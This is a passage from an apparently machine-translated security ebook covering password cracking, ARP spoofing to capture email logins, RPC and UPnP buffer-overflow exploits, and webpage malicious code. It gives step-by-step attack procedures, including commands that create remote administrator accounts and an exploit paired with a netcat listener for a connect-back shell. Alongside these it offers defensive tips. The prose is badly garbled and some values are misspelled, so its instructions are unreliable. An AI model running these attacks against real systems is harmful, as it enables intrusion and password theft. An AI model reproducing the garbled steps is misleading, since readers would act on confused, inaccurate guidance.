From the above diagram can see a lot of port machine open, almost like a newly installed system host and server software, even some dangerous ports are open. But the danger of these open ports are KFSensor simulated, with X-ray Scan and vulnerability scanner to Scan, can discover the NT, FTP, SQL weak passwords, CGI, IIS vulnerability, etc., these are KFSensor simulated.

2. Network spoofing attacks

Can learn from the Web spoofing attack principle of network deception includes several aspects, such as IP address spoofing, Web cheat, electronic mail, etc. According to these web spoofing attack, users should master some preventive measures. IP spoofing attack of flood control, for example, here introduces web spoofing attack prevention methods.

To prevent fraud source IP address, can take the following measures to protect the system as much as possible from such attacks:

When using encryption methods: before the packet is sent to the network, it can be encrypted. Although the encryption process requires the appropriate change the present network environment, but it will ensure the integrity and authenticity of the data.

Low abandon trust strategy based on address: a very easy to stop this kind of attack is to give up on the basis of address verification. Do not allow the r class the use of remote call command; Deleted. Rhosts file; Empty the/etc/hosts. Equiv file. This will force all users to use other means of telecommunication, such as Telnet, SSH, skey, etc.

Low for packet filtering: you can configure the router to deny network with this net external connection requests with the same IP address. And, when the IP address of the package not in this, the router should not take this net hosting package sent out.

Although the router can be blocked trying to reach the internal network of a specific type of package. But they are also based on the analysis of the test source address to realize the operation. As a result, they can only to foreign claims to be from the internal network packet filtering, if exist outside the trusted host network, the router will not be able to prevent others pretend to be the host for IP spoofing.

The second chapter password guessing attacks of actual combat

Many network devices are now rely on authentication way for identification and safety, and based on the account and password authentication is the most common, is also the most widely used.

Attacker targets are often take to decipher the user's password to be the beginning of the attack, as long as the attacker can guess or determine the user's password, can get the machine or network access, and access to all users access to any resources. Therefore, relying on the account and password for network attack has become a common means of network attack.

6.2.1 attack principle

Hackers password attack the premise is to obtain a valid user account on the host, and then guess or determine the user's password, and then get the machine or network access, access to the user to be able to access any resource. If this user have domain administrator or the root user permissions, so once attacked, consequence will be unimaginable.

In general, for the average user account method basically has the following kinds:

Low use of the target host Finger function: when using Finger command queries, the host system will save the user data (such as user name, the login time, etc.) is shown in the terminal or computer.

Low use of the target host x. 500 service: some host did not close the x. 500 directory lookup service, so that an attacker could use it easy access to the user's information, get the user's account.

Low from email address: when some users registered E-mail account, often will host account as E-mail address, which is a habit for many users. But this habit is just let the cat

out of the account on the target host.

free ebooks ==> www.ebook777.com

Low to see if the host have habitually account: many users in order to facilitate memory, often used in different places using the same account, resulting in leakage of account.

When the attacker get a user account, often according to the type of account, use different method to get the password. Here are several active password attack types.

Low dictionary attacks

When many users set a password, often can use common the word in the dictionary as a password, therefore, the dictionary attack to understand the user's password is a good method. Dictionary attack USES a document containing most of the dictionary words and use these words to guess the user password. An attacker can automatically by some tools from computer out a word in the dictionary, as the user's password, and then input to the remote host application into the system.

If the password mistake, in order to take out the next word, try again, until you find the correct password or dictionary words so far. Using a 10000 words in the dictionary can usually guess 70% passwords in the system, and the decoding process done automatically by a computer program, therefore, dictionary attacks can be done in a very short period of time.

Low attack

When some users to set the password, to prevent password are easily cracked and has adopted a long enough password, or use enough perfect encryption mode, thought that can have a impregnability of password. But in fact, any strong password can be a breach of, just a strict password decipher needs an attacker spend a lot of time.

If you have a fast enough computer to try the combination of letters, Numbers, special characters, all, will eventually to crack all the password. This type of attack is called attack. Use the attack, begin with the letters a, try aa, ab, ac, etc, and try again aaa, aab, aac... .

(3) the combination of attack

Combination of attack is a dictionary attack and attack together strong password attack methods. Dictionary attacks the password cracking method though faster, but can only find password dictionary words; And attack crack though it takes a long time, but this kind of attack method can find all the password.

In order to increase the security of the password, and a lot of administrator will often require the user to use the combination of letters and Numbers to set the password, such as password zhanglin into zhanglin0307. Wrong is that the attacker has to use attack, it would be time consuming, but in fact the password is very weak. Combo attacks use dictionary words, but through a few letters and Numbers at the end of the word, it can easily break this involve a combination of letters and Numbers in the password. That is to say, the combination of attack is between dictionary attack and attack a way to attack.

6.2.2 attack and defense

The following will introduce two kinds of commonly used password cracking tools: LC5 and Cain&Abel, can use them to understand all kinds of account and password.

1. The LC5 password cracking tools

In the Windows xp operating system, the safety of the user account management using the security account manager system, user and password after Hash transform to Hash list form in C: \ Windows \ system32 \ SAM under the Config file. LC5 mainly by deciphering the SAM file system to obtain the account name and password, it can from the local system, other file systems, system backup for SAM file, thus decoding the user password.

The following address the LC5.02 let smile localization lite version installation method:

Step 01 the LC5 will be downloaded to a computer package to extract, double-click the installation file lc5.02 let smile localization lite version. Exe, can enter the “readme” dialog box.

Step 02, click “next” button to enter “license agreement” dialog box, in which reading interface of the license agreement, if agreed to the content of the agreement, select “I agree to the above terms and conditions” option.

Step 03 click “next” button to enter the dialog box, select installation folder 】 【 in the

setup of the installation path.

free ebooks ==> www.ebook777.com

Step 4, click “next” button to enter to confirm installation] [dialog.

Step 5 click “next” button to start the installation LC5 program. After installation ends, the pop-up dialog box installed] [. Click the “close” button, complete the installation of the software operation.

After the LC5 software to run the program, can be installed in the pop-up “LC5 try this” interface. Click “try” button, select the trial of this software, you can enter LC5 localization version of the software in the main window.

Before using LC5 software decoding the SAM file password, also need to configure it first. The specific steps are as follows:

Steps in 01 LC5 localization version of the software of the main window, click the new LC5 session] button, can create a new session, named “no title 1” by default.

Steps. Click on the toolbar button, start LC5 wizard] [can open “LC5 wizard” dialog. Guide to prompt the user to complete the task.

Step 3, click “next” button to open the dialog box, get the encrypted password] [in there are four options, select “from the local machine import” option.

Step 4 click “next” button to open the dialog box, select cracking method] [in it also lists the four kinds of cracking method, if the password is simpler, can choose “rapid password cracking” option.

Step 5 click “next” button, in the open dialog box, choose the report style] [in style, which you can choose to report here to keep the default Settings.

Step 6 click “next” button, the pop-up dialog box began to crack] [.

Step 7 if the user information you have supplied in the confirmation dialog, click “finish” button, can open the LC5] [main window, and began to crack the password. In the window on the right side of the “dictionary/mix” box, you can see the software will compare the each word in the dictionary and passwords.

Step 8 after a break, you can in the window on the right side of the “brute force” in the box to see complete each password cracking time remaining. If the system USES the password is not very complex, LC5 can be in a very short period of time after crack password. In the “run” option in the page, you can see the results of crack is completed.

Can be seen from this attack instances LC5 password cracking software is the use of the method is very simple, but if the system USES the password more complex, you might need a few days or months or even years to crack the password, this is the deficiency of LC5.

2. Cain&Abel password recovery and crackers

Cain&Abel was a crack on the Windows platform all sorts of passwords, sniffing all sorts of data and information and realize the software of all kinds of middle attack. But sniffer is the key of the Cain&Abel, many people use CAIN is mainly use the sniffer and ARP deception. Useful information is mainly used to sniff local area network, such as all kinds of passwords, etc. CAIN in the principle of ARP deception is in control of the ARP cache table two hosts, to change the direction of the normal communication between them, as a result of this communication with ARP spoofing attacks, using the ARP deception can get clear information.

Introduce how to use the Cain to get below email login password. Will download Cain&Abel 4.9.3 installed to the computer, according to the need to install Winpcap driver again. After the installation is complete, you can enter Cain&Abel 4.9.3 main interface, before using it for sniffing, need to configure program first. Specific steps are as follows:

Step 01 double-click the Cain shortcut icon on the desktop, can enter the Cain in the main window. Of the toolbar on the top of the window click on the “Configure” button (configuration).

Open step 02 ConfigureDialog 】 【 configuration dialog box dialog box, the default choice “Sniffer” (Sniffer) TAB. Selection in the list box is used to sniff the Ethernet card, other options to keep the default Settings.

Step 03 to switch to the ARP (ArpPoisonRouting) 】 【 (ARP spoofing) TAB, in the “SpoofingOptions” cheated setting options (options in the area “UseRealIPandMACaddress” (use the real IP and MAC address) option, and check the “Pre - PoisonARPcaches (CreateARPEntries) (Pre cheat ARP cache (create ARP table

item))” check box.

free ebooks ==> www.ebook777.com

“Tip”

In “SpoofingOptions” (cheat setting options) can use the IP address of the real options area, also can use the IP address and MAC disguise. But there are some preconditions use camouflage IP and MAC: the attacker’s machine can only be connected to the HUB, not connected to the switch; Set the IP address of the need to subnet is legitimate, and it is unused IP addresses.

Step 4 switch to 【 Filtersandparts 】 (filters and port) TAB, in which lists the CAIN defined filters and all kinds of port of the agreement, you can turn off does not need filtering program agreement, such as POP3, ICQ, FTPS, RDP, etc.

Steps 05 to switch to the [HTTPFields] TAB, in which mainly defines the HTTP field, used to check and filter the HTTP package contains sensitive characters, such as usernames and passwords, etc.

Step 6 other several TAB in the dialog box users can be set according to need, but for the average user, you can leave the default Settings. After completion of the setting, click [sure] button, can complete the configuration of CAIN program.

In the configuration of the complete program requires MAC address after scanning, specific steps are as follows:

Step 01 in CAIN the main window, select the “Sniffer” TAB, click on the toolbar button to Start/StopSniffer 】 【 activate the Sniffer. Right-click in the window of the margin in the popup menu select ScanMACAddress 】 【 menu items.

Step 02 at this point, the pop-up dialog MACAddressScanner 】 【 . If you want to scan the entire subnet, you can choose “Allhostsinmysubnet” option; If you want to scan a Range of subnet, can choose the “Range” option is set to the scope of the scanning here choose to scan the entire subnet.

Step 3 click the “OK” button, after a moment, can scan the IP address of the subnet and the corresponding MAC address. Note: the machine’s IP address and MAC address is to scan out.

Step 4 can be seen in the image above is 192.168.0.1 gateway address, MAC address scan is based on the ARP request packet, therefore, can quickly locate the corresponding relation of MAC and IP. OUI fingerprint contains each big MAC the manufacturer's information.

Step 5 click below the window of the button, you can enter the ARP deception interface. In the blank space on the right click, click the above button, added to the list of **】** **【** can pop up [NewARPPoisonRouting (new ARP spoofing)] dialog box.

Step 6 host on the left to choose being cheated, IP on the right to choose being cheated, click the "OK" button, can return to the interface of ARP deception, see in the list on the right of ARP deception information.

Step 7 configured APR deception of the host, can choose the corresponding option on the left side bar, for a variety of ARP deception. If you want to get a user mailbox password information, but in the IE address bar enter your web site, <http://www.163.com>, to enter your email login interface. After the input user name and password, click on the [sure] button, can be a successful login.

Step 08 to return to the interface of ARP deception, click the button below, click on the "HTTP" option in the left column, can be included in the list on the right side to see the target host email login user name and password. If the user logs in other space or BBS, CAIN can also get the space or BBS user name and password.

HTTPS encrypted data so in APR deception CAIN was clear. Hope all computer users, therefore, improve the consciousness of network safety, prevent APR deception.

3. Password attack prevention

When the hacker attack, often to decipher common user's password to be the beginning of the attack. They always to think a way to one thousand, through a variety of password attack method to get the password. Once obtained the password, get a certain permissions, can for the user's computer to do everything. In the face of this password attack, users should master some of the ways to prevent password attacks.

Prevent password attacks one of the most important thing is can't leave anything to make it because that is not a convenient without a password. But even set up a password, cannot careless, thought that everything is all right.

When a password, should avoid setting weak passwords, and strong password should take those not easily be breached. That is setting the password can't be too short, can't be other people can be easily guessed password, such as: oneself or the phone number of the relatives and friends, birthday and special anniversary some information.

Set password had better use letters, Numbers, and the combination of punctuation, special characters, with lowercase letters at the same time, the length of the best achieve 8 above, had better easy to remember, don't have to write the password down.

In addition, but also pay attention to protecting the security of the password, it is better to follow the following principles:

Don't write the password down, down on paper or stored in a computer file.

* don't use the same password in different systems.

Low in public places such as Internet cafes and online is a good idea to confirm that system security.

Low to prevent nimble person steal passwords, in the input password should be confirmed when no one around.

Low setting their own password is best not to tell others.

Change the password on a regular basis, at least six months change once, this will make oneself to minimise the risk of being attacked by a password, will never password too confident in myself.

The third chapter buffer overflow attack

Buffer is the user for the program is running in a contiguous memory of computer in application, it saves the data of a given type. Buffer overflow is a common and dangerous system means of attack, the hacker is found in the system is easy to produce the buffer name, run special programs and get priority, instructs the computer damage files, change the data, produce the back door access point, even attack the computer.

6.3.1 attack principle

Buffer overflow is when fill the data in a computer program to buffer zone more than the capacity of the buffer itself, and the overflow of data on the legal data will be overwritten. Buffer overflow is a hacker prefer to use a method of attack, and it has a great threat to the security of the system. Such as the limited space in the buffer to the program in a long string, result in buffer overflow, undermining the program stack, makes the program to perform other instructions.

If these instructions are in have Root access memory, once these instructions received operation, an intruder can as Root access control system, which is called U2R attacks (UsertoRootAttacks).

Some hackers often use loopholes that exist in the system to achieve system super user permissions, and random control system, the system for malicious attacks. RPC buffer overflow attacks, for example, is the RPC loophole that exist in the using the computer for the attack.

RPC (RemoteProcedureCall) call is a protocol used by Windows, providing interactive communication between processes, allowing the program on a remote machine run any program. RPC in dealing with the exchange of information via the TCP/IP process, if there are any abnormal packets, causing collapse of the RPC service without prompt.

Due to the RPC service is a special system services, many applications and services programs rely on it, therefore, can cause denial of service of these programs and services. Deformity of hackers if using this loophole, can request to the remote server to monitor specific RPC ports, such as 135, 139, 445, any configuration of RPC port machine.

In case the default installation, the user of the RPC goods is open. Before the hacker attack, on the machine on the network vulnerability scanning, if found the RPC loophole machine, hackers as long as the Windows system to make use of this vulnerability, these systems will appear blue screen, restart, the phenomenon such as automatic shutdown.

6.3.2 attack and defense

Buffer overflow attack is not a blunt and deception, but from the bottom of the computer system, therefore, under the attack of it, the system of authentication and access security policy is basically does not work. Due to this kind of attack can bring great safety hidden trouble to system, therefore, how to timely and effective to detect the intrusions to computer network system, has increasingly become an important content of network

security management.

free ebooks ==> www.ebook777.com

The following will introduce several different buffer holes method of attack and defense.

1. The attacks on WINS service remote buffer holes

WINS (Windows Internet naming service) is a set of similar to Microsoft Windows support DNS name service, responsible for network computer name resolves to an IP address. WINS in the treatment of the associated content validation problems, a remote attacker can take advantage of this loophole with permission to execute any command system process.

Of name validation on the lack of fully validated when processing, the attacker can build malicious network packet trigger buffer overflow, carefully constructed to submit data may with permission to execute any command system process. In the WindowsServer2003 system, currently only appear to be denial of service attacks.

(1) vulnerabilities detection

Because of the vulnerability exists WINS service is 42 port, therefore, as long as the scan each other whether to open the ports 42, can judge whether the target host drove the WINS service.

To test this loophole, X-ray Scan can be used to specify the IP scanning. In X-ray Scan the main window, select the “Settings” - > menu items, the scanning parameters 】 【 can open the scanning parameters Settings window.

(2) the exploit

Such vulnerabilities in general by writing a batch file to improve the overflow probability of success.

On existing MicrosoftWINS service one host remote buffer overflow vulnerabilities, write a batch file for fixed host repeated attacks, can improve the overflow probability of success. For remote buffer overflow vulnerabilities exist MicrosoftWINS service multiple hosts, write a batch file at the same time attack on multiple hosts.

2. The RPC buffer overflow attack

Before hackers for RPC buffer overflow attacks, general use RPC exists on the network vulnerability scanner to scan the RPC loophole machine, attack again.

(1) vulnerabilities detection

Use the RPC loophole special scanner Retina (R) - DCOMScanner, can the existence of RPC loophole scan target machine, it is a security company eEye against Microsoft MS03-026 and the latest MS03-039 rpcdcom vulnerability scanning tools.

Use the software to scan the RPC loophole of the specific steps are as follows:

Step 1: run the Retina (R) - DCOMScanner main program, you can open the Retina (R) - DCOMScanner] the main window.

Step 2: in StartIP text box and EndIP text box input respectively after the start and stop of IP, click the “Scan” button, can immediately start scanning. If exist in setting the IP range of the RPC loophole of the host, the host of the detailed information will appear in the scan results.

(2) the exploit

The RPC loophole damage is very serious, such as well based on RPC loophole “shock”, which can lead to system again and again to restart the system, not normal copy files and browse the website, DNS, IIS, routers and other illegal denial of service attacks, the entire network system is paralyzed.

The exploit tool has two: Rpcdcom and OpenRpcss. First use Rpcdcom send malformed data to the remote host, use OpenRpcss attack to the remote host, will eventually be established within the remote host an administrator account.

Rpcdcom command format: RpcdcomServer. OpenRpcss command format: OpenRpcss \\ Server.

Invasion of the specific steps are as follows:

Step 01 first to use the command to the remote host send abnormal data, using “Rpcdcom loophole the IP address of the remote host” command.

Step 02 OpenRpcss tool is used to establish the administrator account, use “OpenRpcss. Exe \ \ loophole the IP address of the remote host” command.

Step 03 inside the remote host successfully established an administrator account, through the IPC, use “netuse \ \ loophole the IP address of the remote host \ IPC” password/user “:” user name ”” command.

(3) holes

Hackers can take advantage of the RPC loophole, to the remote server to monitor specific malformation of RPC port request, such as 135, 139, 445, any configuration for RPC port computer, when attacked, also appear blue screen, restart Windows system and the automatic shutdown. Here are two methods can well prevent the RPC loophole attack.

When change the RPC service Settings

Select “start” - > “Settings” - > “control panel” - > “management tools” - > “services” menu item, you can open [service] window. In which select “RemoteProceduceCall (RPC)” service and right-click, select “properties” option in the shortcut menu, you can open the RemoteProceduceCall (RPC) attribute (the local computer) dialog, switch to the “recovery” TAB, is one of the first and second failure and subsequent failure is set to “no” option.

Low to install Microsoft RPC patches.

4. Plug and play function remote control buffer overflow vulnerabilities

UPnP (UniversalPlugandPlay, universal plug and play) software is based on Internet protocol, which allows different devices (such as computers, scanners, printers, etc.) installed network, can automatically identify and communicate between each other, so that users don’t need to turn to each of the peripherals to configure the computer again.

The Windows xp operating system has been activated when the sale UPnP function, bring

great convenience to the user. UPnP, however, there is also a security hole. Hackers can take advantage of this loophole control computer or launch a DoS attack on the same network. More seriously, the same network of other users don't even need to know the IP address of the computer, you can send to attack on it.

UPnP protocol security vulnerabilities problems, was first discovered by security company eEye digital security and notify Microsoft's. The UPnP buffer overflow problems, also is one of the most serious in the Windows of the buffer overflow vulnerabilities, when processing the Location field in the NOTIFY command, if the IP address, port and the file name part of the long, buffer overflow occurs, which can cause some process server program, the contents of its memory space is covered.

Because the UPnP service running in the context of the system, therefore, if an attacker exploit successful, can complete control of the host. More seriously, the SSDP server program also listening to the broadcast and multicast interface, so the attacker can attack multiple machines at the same time and don't need to know a single host's IP address.

(1) vulnerabilities detection

Recommended MS05-039 scan tool to detect this kind of flaw, it is used in the MicrosoftWindows plug and play function of the remote buffer overflow vulnerability scanning tools.

Only to find out the existing vulnerabilities to the remote host is not enough, it is best to know the types of the Windows operating system on a remote host using the X-ray Scan can be used to the remote host, scanning for operating system type.

(2) the exploit

Use tools: ms05039. Exe format: ms05039. Exe < host > < conIP > < conPort > (target).

Low host: refers to the remote host IP address or a remote host name.

Low conIP: local back to IP.

Low ConPort: after the success of the overflow to the remote host to connect the port number.

Low Target: select the operating system type. [free ebooks ==> www.ebook777.com](http://www.ebook777.com)

Specific steps are as follows:

Step 01 vulnerability scanning. Scan in MS05-039 main window enter the beginning and end of the remote host IP address, click the button, can add the IP address of the input to the scanning range.

Step 02 click the button, can begin to scan the remote host, exist in the search Windows plug and play remote buffer overflow vulnerabilities to the remote host.

Step 3 using X-ray Scan Scan loophole of remote host, inspect its host type. Found in the local command line window nc. Exe tools directory, in which the input “nc - 1 - p7755” command in listening state (7755 representatives in the local open listens for port number).

Step 4 in the ms-dos command line window find ms05039. Exe directory, in which the input “ms050

39. Exe loophole remote host IP local machine IP77551 “command to the remote host to add account, if the account added successfully, then obtained the administrator privileges.

(3) preventive measures

Due to the Windows xp opens the UpnP function, therefore, all the Windows xp users should install the patch immediately; And WindowsMe users only need the patch in running UpnP, because WindowsMe UpnP function is turned off when installation. The Windows xp users can download the patch in the address of “<http://www.microsoft.com/Downloads/Release.asp?ReleaseID=34951>”.

The fourth chapter malicious code

Including Trojan horse, malicious code, web mail virus and so on, it is a kind of program, without being noticed by the code under the condition of setting in another program, so as to destroy infected computer data, run to invasive or destructive program, destroy infected computer data security and integrity of purpose.

6.4.1 attack principle

Attacks by malicious code can be forced to modify the user registry Settings of the operating system and the system configuration utility program, or illegal control system resources to steal user files, or malicious delete file, format hard disk and so on. Malicious code mainly through code inserted in a web page to modify the computer users browse the web page registry, use the browser or other known system weaknesses/loophole, illegal Settings and malicious attack on the visitor's computer, modify the IE home page address, modify the title bar, IE it is prohibited to modify the registry, modify the default search engine, etc. Malicious code attacks type mainly has the following kinds:

1. Modify the registry

Most malicious code hidden in a web page will use IE file holes through the scripts to modify the registry editor, for instance, modify the IE starting home page, the title bar, toolbar, IE the default search engine, timing, IE new popup Windows, etc.

2. Boring malicious web pages

This web page is to use JavaScript code, such as pop-up many doesn't close the window, let the CPU resource depletion and restart. If you want to avoid being this kind of malicious code, need to JavaScript disabled, and will upgrade to higher version of IE.

3. Use IE vulnerability

If the user in the system installed version of Internet explorer is too low, no patches in a timely manner, the malicious code will use IE vulnerability to attacks on the user. This attack several forms as follows:

Low format the hard disk

Low execution. Exe file

Low run automatically trojans

Low reveal that the user's information

free ebooks ==> www.ebook777.com

To prevent this kind of malicious code, users need to upgrade the IE, and make some relevant security Settings. These Settings will be in the “to prevent malicious code” section.

When browsing the web, how the malicious code stamping, modify the registry? This is about to mention Microsoft ActiveX technology, ActiveX is Microsoft provided by the use of COM to make a set of software components interact set of technology in the network environment. It is used as one of the important technology for Internet application development, widely used in the Web server, and client. ActiveX, therefore, can be used in the webpages, using JavaScript language can easily be ActiveX embedded in a Web page.

At present, there are a lot of ActiveX controls on the Internet for users to download, these have been downloaded ActiveX controls are stored in C: \ SYSTEM directory. To the server can establish a good trust relationship with the client, also consider the safety of the Web, may dictate ActiveX controls every used on the Web, you need to set up a “code signing,” if you want to release, you must apply to the relevant authorities. But the “code signing” technical flaws, therefore, hackers can use this vulnerability to crack “code signing”, which modify the registry.

6.4.2 webpage malicious code attacks

Including a Trojan horse, malicious code, web mail virus and so on, after the computer was attacked by malicious code, there will be a thorny problem, affecting the normal operation of the user. This section in webpage malicious code attacks, for example, introduced the computer after webpage malicious code and solution.

1. Tampering with IE homepage

When malicious code attacks on web sites, may often tampered with IE home page. For example, when the user sets the IE home page to “http://www.baidu.com”, after the next time again to open the IE browser, open not set the home page, but by. After tampering with the home page. This kind of situation because of the malicious code modify the registry “HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ InternetExplorer \ Main \ StartPage” and “HKEY_CURRENT_USER \ SOFTWARE \ Microsoft \ InternetExplorer \ Main \ StartPage” key values, so as to modify the IE browser home page.

For this kind of situation, be able to modify “StratPage” key values, restore the IE browser home page.

Steps in the Windows registry editor **】** **【** 01 in turn on the left side of the tree directory “HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ InternetExplorer \ Main”, find “StartPage” key items in the right side of the window.

Step 02 double-click StratPage “key value, can pop-up dialog to edit string **】** **【** in” value data “in the text box type in the name of the IE home page to be modified, such as” about: blank “.

Step 3 click the “ok” button, can return to the registry editor window **】** . In turn on the left side of the window in the “HKEY_CURRENT_USER \ Software \ Microsoft \ InternetExplorer \” the Main item, found in the right side of the window “StratPage” keys, in the same method to amend the its value to “about: blouk”.

Step 4 click “ok” button, restart the computer system, can complete recovery of IE browser home page.

2. Tampering with IE default page

IE been tampered with the default page, and it’s the typical problems that after being attacked by a malicious code. Open the IE browser, its default page has been modified for other unknown site, even if is set to “use the default page”.

This is because the malicious code modify the registry “HKEY_LOCAL_MACHINE \ Software \ Microsoft \

InternetExplorer \ Main \ Default_Page_URL “key values, to tamper with the IE default page. If you want to restore the use of the default page, IE users need to modify the item” Default_Page_URL “key. The specific steps are as follows:

Step 01 in the registry editor window **】** on the left side of the window, in turn, expand the tree directory “HKEY_LOCAL_MACHINE \ Software \ Microsoft \ InternetExplorer \ Main” items, found in the right side of the window “Default_page_URL” keys.

Step 02 “Default_Page_URL” key items in double click on the right side of the window,

can the pop-up dialog to edit string] [in “value data” in the text box input “about: blank”.
[free ebooks ==> www.ebook777.com](http://www.ebook777.com)

Step 3 click [sure] button, restart the computer system, it will be modified again IE default page.

3. The Internet properties] “temporary Internet files” section of the dialog is disabled

Open the IE browser, select “tools” - > “IE option” menu item, you can open the Internet properties dialog] . At this point, found the “temporary Internet files” section of the area of the function to be banned, unable to delete the Cookies and other documents of operation.

Such have the culprit is webpage malicious code, it by modifying the registry entries “HKEY_CURRENT_USER \ Software \ Policies \ Microsoft \ InternetExplorer \ ControlPanel” some of the keys to achieve the purpose of banned some IE Settings.

The ways to solve this kind of circumstance, also still want to modify the registry key value accordingly. The specific steps are as follows:

Steps to open the registry editor window] 01, on the left side of the window, in turn, “HKEY_CURRENT_USER \ Software \ Policies \ Microsoft \ InternetExplorer \ ControlPanel” item, and find “Settings” in the right side of the window, “Links” and “SecAddSites” keys.

Step 02, in turn, double click on the “Settings”, “Links” and “SecAddSites” keys, in the pop-up dialog box will edit DWORD] [their keys are changed to “0”. Click [sure] button again to open the dialog box, Internet properties] [can see has returned to prohibit the IE Settings.

4. [Internet properties] “home page” section of the dialog is disabled

Open the Internet properties dialog box,] found under the “home page” area of all functions are disabled. This is because the malicious code modify the registry entries “HKEY_CURRENT_USER \ Software \ Policies \ Microsoft \

InternetExplorer \ ControlPanel “item” homepage “key values of the value.

To restore these Settings, can be operated in accordance with the following steps:

Steps to open the registry editor window] 01, on the left side of the window, in turn, “HKEY_CURRENT_USER \ Software \ Policies \ Microsoft \ InternetExplorer \ ControlPanel” items, found in the right side of the window “homepage” keys.

Steps. Double-click the “homepage” key value, can pop-up dialog box to edit DWORD value] 【, in which the key values for “zero”. Click [sure] button, restart the computer system, can complete the recovery of button IE default home page.

5. Tampering with IE browser’s title bar

Under normal circumstances, open the IE browser home page, there will be “MicrosoftInternetExplorer” behind its title bar. But when the site after the attack by malicious code, these malicious web site will use the registry to the back of the modified become url or some advertising information. Title bar behind the words by “MicrosoftInternetExplorer” turned into “www.zhonghua.com”.

This kind of situation is due to the malicious code to modify the registry of the HKEY_LOCAL_MACHINE \ Software \ Microsoft \ InternetExplorer \ “the Main key values and” HKEY_CURRENT_USER \ Software \ Microsoft \ InternetExplorer \ Main “key items” WindowTitle “key value in the items.

To solve this problem, can follow the steps below.

Steps to open the registry editor window] 01, on the left side of the window, in turn, “HKEY_LOCAL_MACHINE \ Software \ Microsoft \ InternetExplorer \ Main” key items, found in the right side of the window “WindowTitle” key items and right-click on it, and on the shortcut menu, select “delete” menu item.

Step 02 at this point, can pop up numerical delete] 【 confirm dialog. Click 【 is 】 button, to remove the numerical, and restart the computer system, can complete repair of IE browser title bar.

IE 6. Tampering with the right mouse button shortcut menu item

When the user open the IE browser, right-click in the work area, can be found in the popup menu is added from the some the mess of content, and even some functions have been banned or directly to the right mouse button function block.

If the right mouse button shortcut menu item is added to the IE some messy content, this could be a user opens a web site was attacked by malicious code, malicious code using the registry changes “HKEY_CURRENT_USER \ Software \ Microsoft \ InternetExplorer \ MenuExt” of options, IE caused the right-click context menu item to add some irrelevant content.

To remove unnecessary content in the right-click context menu item, and can be operated in accordance with the following methods:

Open the registry editor window **】** , on the left side of the window, in turn, “HKEY_CURRENT_USER \ Software \ Microsoft \ InternetExplorer \ MenuExt”, “MenuExt” under the relevant advertising information deleted.

If certain functions of IE the right mouse button shortcut menu items have been banned, so through the following method to modify the corresponding registry keys, to restore these functions. The specific steps are as follows:

Steps to open the registry editor window **】** 01, on the left side of the window, in turn, “HKEY_CURRENT_USER \ Software \ Policies \ Microsoft \ Restrictions”, found in the right side of the window “NoBrowserContextMenu” keys.

Step 02 double-click NoBrowserContextMenu “keys, in the pop-up dialog box to edit DWORD value **】** **【** , amend the its key value to” 1 “. Click [sure] button, can restore some of the right mouse button shortcut menu item IE function.

7. The system startup popup web or dialog box

When the system starts up, before entering the desktop will automatically pop up web pages or dialog box. This is also the consequences of malicious code modify the registry, modify the registry entries for “HKEY_LOCAL_MACHINE \ Software \ Microsoft \ WindowsNT \ CurrentVersion \ Winlogon”. Under it malicious code can build string “LegalNoticeCaption” and “LegalNoticeText”, including “LegalNoticeCaption” is the title of a box, “LegalNoticeText” is the tooltip text content.

Because of them, every time the user login to the front of the Windows desktop appears a prompt window, show the information of these web pages to avoid starts, these web pages or dialog box pops up again, registry of the two can be deleted.

6.4.3 malicious code

To prohibit the operation of the malicious code, as to avoid the attack of malicious web pages, you can take some effective measures to protect against it. The user has been the IE security Settings. Here are several setting method can effectively prevent malicious code.

1. Set the IE security level

Specific steps are as follows:

Step 01 open the IE browser, select “tools” - > “Internet options” menu item, open the “Internet options” dialog box. Switch to the “security” TAB, click the “custom level” button.

Open step 02 “security Settings” dialog box, in the bottom of the “reset to” drop-down list, select “security level - high” option, change the security level by “in the” to “high”.

2. To disable the ActiveX control and related options

ActiveX controls and Applets has strong function, but there are also used by a malicious program hidden trouble, the malicious code in web pages is usually a small program written by using these controls, just open the web page will be run. So to avoid malicious web pages, will prohibit the operation of the malicious code. Disable the ActiveX control and the specific way of setting options are as follows:

Open the “Internet options” dialog box, switch to the “security” TAB, click the “custom level” button, you can open the “security Settings” dialog box, in the “Settings” in the list box users are advised to keep ActiveX controls and the related options are set to disabled, you can avoid page with malicious code attacks.

3. Blocking access to certain sites

There are many sites on Internet with malicious code, easy to make them. If the user know

which site is malicious code, can do some Settings in IE, so never into the site in the future. Specific steps are as follows [free ebooks ==> www.ebook777.com](http://www.ebook777.com)

Step 01 opened the “Internet options” dialog box, switch to the “content” TAB. Click “classification review” area of “enable” button.

Step 02 to open the dialog content review process] [, switch to the licensing site] [TAB, in the “allow the website” text box input don’t want to go to the web site, click on the [never] button.

Step 03 after completion of the Settings, click the [sure] button, the user will not enter this site.

4. It is prohibited to use the registry

In order to avoid some malicious hackers use the registry changes inside of some of the items of value, can be “locked” registry. The specific steps are as follows:

Step 01 click “start” - > “run” button, in the “run” dialog box open type “regedit”, and click on the [sure] button, you can open the registry editor window] .

Step 02 in the window on the left side of the tree of directories, in turn, select “HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System” option and right-click on it, and on the shortcut menu, select the [new] - [DWORD value] menu item, you can create a new DWORD value items.

Step 3 will be the new DWORD value renamed “DisableRegistryTools”, and double-click the, its value changed to “1”. Click [sure] button, to ban the use of registry editor.

Also, try to avoid attacks by malicious code, users need to pay attention to in the daily operation as follows:

To avoid be webpage malicious code infection, first of all, the key is don’t go to some sites do not trust, especially some unknown, url with ActiveX controls, etc. But this doesn’t really prevent malicious code attacks.

Must be installed on the computer network firewall, and I will always open the “real-time

monitoring function.

Upgrade at any time IE browser patch, lest appear loophole, IE the malicious code.

Recommend the use of “super rabbit” backup normal Classes in the registry. The dat, System. Dat, System. Ini, User. Dat, Win the ini file, such as malicious code is commonly by modifying these files to achieve its purpose.

Low restore normal registry regularly. When users perceive themselves may be malicious code, best to restore the normal registry regularly. Do so although cannot delete such malicious programs, but they keep its banned altogether, because this kind of program is by modifying the registry to achieve the purpose of random operation, we can't just delete clean by hand.

The fifth chapter expert class (common problems and solutions)

Inspiration. 1: using comprehensive code implant and process control technology to implement a buffer overflow attack, the code must be in an implant and buffer overflow action to finish?

Answer: the code implant and buffer overflow doesn't need to be completed within an action. An attacker can be placed in a buffer code, but can't overflow buffer. The attacker again by another buffer overflow to transfer process of pointer. This method is generally used to solve overflow the buffer is not large enough to (can't put down all of the code).

